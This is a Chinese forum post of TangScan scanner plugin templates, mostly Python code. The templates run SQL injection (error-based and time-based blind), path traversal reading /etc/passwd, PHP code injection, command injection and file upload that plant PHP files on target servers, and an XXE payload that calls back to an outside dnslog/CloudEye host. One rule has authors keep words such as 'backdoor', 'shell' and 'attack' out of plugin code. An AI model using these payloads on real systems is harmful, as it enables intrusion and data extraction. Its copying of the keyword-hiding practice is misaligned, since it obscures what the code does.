TangScan几种漏洞类型的插件模板

RedFree (‮11:11 11-11-1112 |※(器杀制自) | 2016-01-22 19:06

在展示各类模板前也对一些简单的规范说明一下:

1、非特殊需求请使用requests模块来帮助您完成请求(from thirdparty import requests);

2、非特殊需求请求超时时间设置为15秒,且不要忘记verify=False。

3、不得在插件中带有不和谐的关键字,比如:TangScan、后门、shell、WebShell、入侵、攻击等等;

4、插件代码一定要做异常处理,很多考虑不到的情况会导致插件代码报错。

5、请求多的插件(如盲注)各个请求之间sleep 0.2-0.4秒,防止给目标站点带来压力,同时也不影响注入结果。

6、插件信息要正确无误且完善,标题规范为xx应用xx页面(xx参数)xx漏洞,如:Oblog /tags.asp tagid参数SQL注入漏洞

7、插件要将简单的利用结果展示出来如注入类的数据库版本、文件读取类的文件内容等;同时也要将利用方法放到结果中去(如:目标 xxx 存在xxx漏洞,获取到的数据库版本为 xxx,漏洞地址:xxxx,POST参数:xxxx)。


插件不规范或不符合要求的审核时会扣取一定汤圆或直接打回重写。

一、注入类

1、非盲注

def verify(self):

        exp_url="{domain}/xxxx?sql=a' and 1=CONVERT(int,CHAR(126)%2BCHAR(126)%2BCHAR(126)%2B@@version%2BCHAR(126)%2BCHAR(126)%2BCHAR(126))--".format(domain=self.option.url.rstrip('/'))

        try:

            response = requests.get(url=exp_url, timeout=15, verify=False)

            result = re.findall(r'~~~(.*?)~~~', response.content, re.S | re.I)

        except Exception, e:

            self.result.error = str(e)

            return

        if len(result) == 0:

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的数据库版本信息: {version}\n\t测试链接: {eurl}".format(

            url=self.option.url,

            version=result[0],

            eurl=exp_url

        )

说明:使用正则去匹配运算出来的字符串~~~之间的内容,可避免误报。为何不能使用'~~~'+@@version+'~~~',请参考:http://zone.wooyun.org/content/23375

2、盲注

def verify(self):

        user = ""

        user_length = 0

        exp_url = ("{domain}/login.cgi".format(domain=self.option.url))

        payloads = ['@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']+ list(string.ascii_lowercase)

        data = {

                "act":"login",

                "user_name":"",

                "user_pwd":"222222"

        }

        l = "111111' AND (SELECT * FROM (SELECT(if(length(substring(version(),1))=%s,sleep(8),0)))xss) AND 'xss'='xss"

        s = "111111' AND (SELECT * FROM (SELECT(if(ascii(lower(mid(version(),%s,1)))=%s,sleep(6),0)))xss) AND 'xss'='xss"

        for x in range(1, 30):

            start = time.time()

            data["user_name"] = l % str(x)

            try:

                response = requests.post(exp_url, data=data, timeout=15, verify=False)

                time.sleep(0.3)#限制请求速率

                if response.status_code != 200:

                    self.result.status = False

                    return

            except Exception,e:

                self.result.error = str(e)

                return

            end = time.time()

            if (end - start) >=8:

                user_length = x

                break

        if user_length == 0:

            self.result.status = False

            return

        for x in range(1, user_length+1):

            for payload in payloads:

                start = time.time()

                data["user_name"] = s % (str(x), str(ord(payload)))

                try:

                    response = requests.post(exp_url, data=data, timeout=15, verify=False)

                    time.sleep(0.3)#限制请求速率

                    if response.status_code != 200:

                        self.result.status = False

                        return

                except Exception,e:

                    self.result.error = str(e)

                    return

                end = time.time()

                if (end - start) >=6:

                    user = user + payload

                    

        if user.find("5.")==-1:#减小误报机率

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的当前数据库版本为:{db_user}".format(

            url=self.option.url,

            db_user=user

        )




注意这么几个地方:

1、你可以使用更好的方法来获取数据(比如二分法、多线程),但前提是代码要简洁易懂。

2、每个请求之间sleep 0.2-0.4秒,以避免给目标站点带来过大压力。

3、最终的结果(数据库版本)要查找有无关键字:5.(MYSQL)、Micro(MSSQL)、Ora(Oracle),这样能很大程度减小误报机率。数据库版本信息不一定非要跑完,能证明存在注入就行,如MSSQL跑前面的 Microsoft SQL Server 20xx即可。

二、任意文件读取类

def verify(self):

        exp_url = ("{domain}/plugin.php?action=../../../../../../../../etc/passwd%00&id=dc_mall".format(domain=self.option.url))

        try:

            response = requests.get(exp_url, timeout=15, verify=False)

            if response.content.find(":root:") != -1:

                self.result.status = True

                self.result.description = "目标 {url} 存在任意文件读取漏洞,测试方法:{eurl},获取到的/etc/passwd内容:\n {content}".format(

                    url=self.option.url,

                    eurl=exp_url,

                    content=response.content

                )

        except Exception, e:

            self.result.error = str(e)

            return



说明:Linux一般读取/etc/passwd根据返回内容中有无:root:来判断漏洞是否存在,Windows一般读取C:\Windows\win.ini,判断返回结果中有无[MCI Extensions.BAK]来验证漏洞是否存在。如遇特殊情况,可读取网站目录下的脚本文件或配置文件,根据其中的关键字来判断漏洞是否存在(如:xxx.php、xxx.xml等)。

三、代码执行类

def verify(self):

        exp_url = "{domain}/preview.php".format(domain=self.option.url.rstrip('/'))

        data = "previewtxt=<?php echo 23333334-1;?>"

        headers = {

            "User-Agent": "Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0",

            "Content-Type": "application/x-www-form-urlencoded"

        }

        try:

            response = requests.post(exp_url, data=data, headers=headers, timeout=15, allow_redirects=False, verify=False)

        except Exception, e:

            self.result.error = str(e)

            return

        if response.content.find("23333333") == -1:

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在代码执行漏洞, 测试链接: {eurl}, POST数据为: {post_data}".format(

            url=self.option.url,

            eurl=exp_url,

            post_data=data

        )

四、命令执行类

def verify(self):

        filename = "tang_%s.php" % str(random.randint(1111, 9999))

        exp_url = ("{domain}/acc/tools/enable_tool_debug.php?val=0&tool=1&par=172.0.0.1' | echo '<?php echo(2333334-1);?>' >{file}| '".format(domain=self.option.url, file=filename))

        vfy_url = ("{domain}/acc/tools/{file}".format(domain=self.option.url, file=filename))

        try:

            response = requests.get(exp_url, timeout=15, verify=False)

            if response.status_code == 200:

                response = requests.get(vfy_url, timeout=15, verify=False)

            else:

                self.result.status = False

                return

        except Exception, e:

            self.result.error = str(e)

            return

        if response.content.find('2333333') == -1:

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在远程命令执行漏洞,测试方法:{eurl},使用echo命令生成的测试文件地址:{adr}".format(

            url=self.option.url,

            eurl=exp_url,

            adr=vfy_url

        )

五、文件上传类

def verify(self):

        url = "{domain}/webservice/upload.php".format(domain=self.option.url.rstrip('/'))

        randnum = random.randint(666, 666666)

        filename = "error"+str(randnum)+".php"

        vef_url = self.option.url.rstrip('/') + "/attachment/{attachment_id}/" + filename

        shell = "<?php print(md5('1'));?>"

        files = {

            'file' : (filename, shell, 'image/jpeg'),

        }

        try:

            response = requests.post(url=url, files=files, timeout=15, verify=False)

            attachment_id = re.findall(r'(\d+?)\*', response.content, re.S|re.I)

            if len(attachment_id) == 0:

                self.result.status = False

                return

            vef_url  = vef_url.format(attachment_id=attachment_id[0])

            response = requests.get(url=vef_url, timeout=15, verify=False)  

        except Exception,e:

            self.result.error  = str(e)

            return

        if response.content.find('c4ca4238a0b923820dcc509a6f75849b') == -1:

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在任意文件上传漏洞,上传的测试文件地址为:{shell_url}".format(

            url= self.option.url,

            shell_url= vef_url

        )



说明:

1、代码执行、命令执行、文件上传类均可以在Web目录生成一个代码文件,然后访问此文件,通过判断代码有没有执行得到预期的关键字来验证漏洞是否存在。不能仅仅判断访问上传后的文件是否200来判断上传成功,有些情况下上传目录不解析。

2、生成的文件名要随机化(如:tang_xxxx.xxx),不能固定。

六、CloudEye验证类

def verify(self):

        exp_url = ("{domain}/xxxx/xxxx/xxxx".format(domain=self.option.url))

        headers = {

                    "SOAPAction": "",

                    "Content-Type": "text/xml;charset=UTF-8"

        }

        try:

            domain = "%s"%(urlparse.urlparse(self.option.url).netloc)

            num_str = str(random.randint(11111, 99999))

            judge = "[%s][%s]"%(domain, num_str)

            data = """\

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY %% remote SYSTEM "http://xxx.12e68e.dnslog.info/%s">%%remote;]>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://www.live800.com">

     <SOAP-ENV:Header/>

     <SOAP-ENV:Body>

        <urn:check>

           <urn:in0>1</urn:in0>

        </urn:check>

     </SOAP-ENV:Body>

</SOAP-ENV:Envelope>

        """%judge

            exp = requests.post(exp_url, headers=headers, data=data, timeout=15, verify=False)

            time.sleep(5)#防止网络延迟导致漏报

            cloudeye_url = "http://cloudeye.me/api/3fd078bf283461ca24f3fb87f7860d35/xxx"

            response = requests.get(cloudeye_url, timeout=15, verify=False)

            if response.content.find(domain)!=-1 and response.content.find(num_str)!=-1:

                self.result.status = True

                self.result.description = "目标 {url} 存在XXE漏洞, 地址:{eurl} SOAP请求数据如下:\n{data}".format(

                    url=self.option.url,

                    eurl=exp_url,

                    data=data,

                )

        except Exception, e:

            self.result.error = str(e)

            return



说明:使用CloudEye验证时注意设置一个延时,以防漏报。



CloudEye介绍请见:http://zone.wooyun.org/content/18962

更多漏洞类型的简单模板,如有需求可在回复中提出。欢迎来TangScan提交插件!现金奖励等你来拿!